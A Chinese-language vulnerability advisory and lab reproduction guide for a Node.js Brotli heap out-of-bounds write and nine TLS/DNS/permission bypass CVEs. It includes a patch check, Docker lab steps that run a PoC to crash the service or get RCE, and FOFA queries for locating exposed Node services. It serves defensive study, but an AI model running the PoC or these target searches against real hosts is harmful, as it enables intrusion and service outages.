漏洞简介
Node.js 内置的 Brotli 压缩解码器,在解一个恶意构造的压缩流时会往缓冲区末尾之外多写 16 字节,破坏进程自己的堆内存——轻则服务崩溃(DoS),重则被攻击者远程执行代码(RCE)。
为什么会被触发:Node 的 zlib 模块、fetch()、以及 Express / body-parser / Koa / Next 等框架,都会自动解码 Brotli 压缩的数据。只要攻击者能决定"被解码的那段字节",就能喂进恶意流。两条最常见的入口:
请求体:你接受
Content-Encoding: br的 POST(JSON / 表单接口)——攻击者直接压缩一段畸形字节发过来,无需登录;
上游响应:你的服务用
fetch()去抓一个攻击者能影响的 URL,响应是恶意 Brotli,你本地解一下就中招。
后果分两档:
判定补丁状态
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# -17 = 已打补丁 ; VULNERABLE = 中招,需升 22.23.4 / 24.22.1 / 26.12.1主漏洞是 CVE-2026-111497(Brotli OOB write,CVSS 9.2,Red Team 命名 "Node2Shell")。它和 PHP 的 "PHP2Shell" 同源同类——都是"压缩/解析路径上的越界写"。本次更新里其余 9 个 CVE 是 DNS / TLS 证书 / 权限模型等校验绕过,本身不执行代码,用于绕过 HTTPS 身份校验或白名单;每个都配了验证脚本
10 个 CVE 全景
影响范围
其余9个(仅提供检测)
关键判断:能出 RCE 的只有 Brotli(111497);其余 3 个(DNS/TLS 校验绕过)用于绕过 HTTPS 身份 / 白名单,本身不执行代码。全版本通吃的是 DoS,RCE 依赖精确 lab 布局。
漏洞原理
CVE-2026-111497:BROTLI_SAFE 宏丢弃返回值
// decode.c:1890 — 有漏洞的宏
#define BROTLI_SAFE(METHOD)
{
if (safe) {
if (!Safe##METHOD) { /* safe path:检查返回值 */
result = BROTLI_DECODER_NEEDS_MORE_INPUT;
goto saveStateAndReturn;
}
} else {
METHOD; /* fast path:直接丢弃返回值 */
}
}三个 block-switch 站点(DecodeLiteralBlockSwitch / DecodeCommandBlockSwitch / DecodeDistanceBlockSwitch)都走这个宏,且 wrapper 返回 void,返回值一旦丢弃就无法恢复。当流里 NBLTYPES 与流内实际 block switch 矛盾时,DecodeBlockTypeAndLength() 返回 BROTLI_FALSE(格式错误),fast path 忽略它继续解,导致块边界错位、脏 block_type_rb,最终在受控偏移发生固定 16 字节的 memmove16 堆越界写。
Brotli 利用链
为什么普通流"打不出" RCE——MLEN 与 BLOCK_SIZE_CAP 恒等
RFC 7932 规定 MLEN 上限 = 2^24 = 16,777,216
BROTLI_BLOCK_SIZE_CAP = 1<<24 = 16,777,216
两者恒等(设计使然)单块(NBLTYPES=1)流解到块尾时,循环计数与 block_length 同时清零、正常退出,block-switch 触发条件永远到不了。这就是 ikow/brotli2crash 提出「RCE 结构性不可达、CVSS 9.2 偏高」论点的依据。但 跨块 / 调低 CAP 的特例(lab 里精确控制分配器)仍能打出——这正是 dimas RCE profile 的立足点。
9 个校验绕过类:各自一句话根因
上游修复与补丁指纹
google/brotli@0ed4268a 把 DecodeBlockTypeAndLength 返回类型改为 BrotliDecoderErrorCode,新增错误码 BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH(errno −17),并引入 BROTLI_SAFE_WITH_STATUS 让 fast path 也检查返回值。这个 −17 就是补丁检测指纹:
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# -17 = 已打补丁 ; VULNERABLE = 中招漏洞复现
准备环境
复现拓扑
复现步骤
复现步骤一 : 先判断本机 Node 是否中招
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# -17 = 已打补丁 ; VULNERABLE = 中招,需升 22.23.4 / 24.22.1 / 26.12.1复现步骤二: DoS 快速验证(任意未打补丁版)
cd CVE-2026-111497-POC
docker build --pull --platform linux/amd64 -t cve-lab:stock \
-f lab/v24.22.0/stock-node/Dockerfile lab/v24.22.0/stock-node
docker run --platform linux/amd64 -d --name cve-stock -p 127.0.0.1:3000:3000 cve-lab:stock
python3 poc.py --profile node-24.22.0-bookworm-x86_64
# 期望:PASS: DoS verified ...(服务不可用,进程 exit 139)
docker rm -f cve-stock复现步骤三: RCE 验证(Express 5.3.0 profile)
cd CVE-2026-111497-POC
docker build --pull --platform linux/amd64 -t cve-lab:express \
-f lab/v24.22.0/express-body-parser/Dockerfile lab/v24.22.0/express-body-parser
docker run --platform linux/amd64 -d --name cve-express \
--entrypoint sh -e UV_THREADPOOL_SIZE=1 -p 127.0.0.1:3000:3000 \
cve-lab:express -lc "while true; do node /app/server.js; sleep 0.1; done"
python3 poc.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 --timeout 30
# 成功特征:
# PASS: RCE verified by fresh id output ...
# proof_command=id
# proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
docker rm -f cve-express复现步骤四:其余 9 个 CVE 的验证脚本
cd ../nodejs-2026-10-other-9
node cve-2026-105482-dns-nul-truncation.js # DNS NUL 截断(直接可跑)
node cve-2026-105483-tls-fullwidth-ip-bypass.js # 全角 IP 绕 TLS(需 openssl)
node cve-2026-106069-tls-loose-ip-bypass.js # 前导零 IP 绕 TLS(需 openssl)
node cve-2026-106072-tls-dns-san-ip.js # 非规范 IP DNS SAN(需 openssl)
node cve-2026-105481-keepalive-response-confusion.js # keep-alive 错位(本地竞态)
node cve-2026-106074-sea-uuid-reuse.js # SEA/快照 UUID 复用(按说明手工构建)
node cve-2026-106070-zipfile-prefix.js # 需 26.x + 恶意 ZIP
node cve-2026-106071-permission-wildcard.js # 需 26.x 权限模型
node cve-2026-106073-permission-realpath.js # 需权限模型每个脚本输出
[VULNERABLE]/[PATCHED]结论,本机(v22.22.2)实测 105482/105483/106069/106072 均命中[VULNERABLE]。
FOFA 语法
该漏洞无法用单条 FOFA 指纹直接命中"未打补丁的 Node 版本"(版本藏在响应里且常被中间件吞掉)。FOFA 用于圈定部署面,再用「复现步骤一」的 patch-detection 逐台确认。
圈定 Node.js Web 应用面
body="Node.js" || header="X-Powered-By: Express" || header="X-Powered-By: Koa" || header="X-Powered-By: Fastify" || header="X-Powered-By: Hapi"聚焦会自动解码 Brotli 请求体/响应的框架面
body="express.json" || body="body-parser" || body="koa-bodyparser" || (body="next" && header="Server: Next.js")叠加 JS 运行时版本特征
(header="X-Powered-By: Express" && body="v24.") || (header="Server" && body="Node.js")命中后逐台确认是否未打补丁
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# VULNERABLE → 未打补丁,需升 22.23.4 / 24.22.1 / 26.12.1 ; -17 → 已打补丁FOFA 结果只代表"暴露的 Node 服务面",不等于可 RCE。是否打穿取决于具体应用是否走
fetch()/body-parser 的 Brotli 解码路径 + 分配器布局,需 patch-detection 与 PoC 复现交叉确认。